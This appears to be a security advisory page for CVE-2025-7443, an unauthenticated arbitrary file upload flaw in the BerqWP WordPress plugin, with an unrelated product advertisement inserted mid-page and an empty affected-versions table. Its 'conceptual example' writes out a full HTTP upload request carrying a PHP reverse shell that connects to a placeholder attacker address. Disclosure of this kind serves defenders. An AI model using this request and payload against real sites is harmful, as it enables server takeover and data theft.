Overview
CVE-2025-7443 is a critical vulnerability found in the BerqWP – Automated All-In-One Page Speed Optimization for Core Web Vitals, Cache, CDN, Images, CSS, and JavaScript plugin for WordPress. This vulnerability allows unauthenticated attackers to upload arbitrary files to the victim’s server. The issue stems from the plugin’s lack of proper file type validation, meaning that any file, regardless of its format or content, can be uploaded through the store_javascript_cache.php file. The vulnerability affects all versions up to and including 2.2.42.
Given the vast popularity of WordPress and its extensive use in various businesses and individual websites, this vulnerability poses a serious threat. A successful exploit can lead to data leakage or even full system compromise, allowing attackers to execute arbitrary code remotely.
Vulnerability Summary
CVE ID: CVE-2025-7443
Severity: Critical (8.1/10.0 – CVSS Severity Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage
Affected Products
Share secrets securely
Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.
Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.
- • Encrypted identity
- • Private Spaces for organizations and teams
- • End-to-end encrypted chat, calls, files, and notes
- • Sensitive AI work and protected collaboration
- • Built for information that cannot leak
Our mission is to secure human work alongside AI.
Product | Affected Versions
BerqWP WordPress Plugin |
How the Exploit Works
The vulnerability lies within the store_javascript_cache.php file of the BerqWP WordPress plugin. This file does not properly validate the type of files being uploaded, allowing for arbitrary file uploads. As a result, an attacker can exploit this to upload malicious payloads to the server, potentially leading to remote code execution.
Conceptual Example Code
A conceptual exploit might involve an HTTP POST request to the vulnerable file, as shown below:
POST /wp-content/plugins/berqwp/store_javascript_cache.php HTTP/1.1
Host: vulnerable-website.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/php
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'");
?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this conceptual example, the attacker sends a POST request with a malicious PHP file that, when executed, opens a reverse shell connecting back to the attacker. This example demonstrates the potential severity of this vulnerability; however, the actual exploit may vary based on the attacker’s capabilities and the specific configurations of the target system.
For security, it’s strongly recommended to apply the latest vendor patches or implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation measures.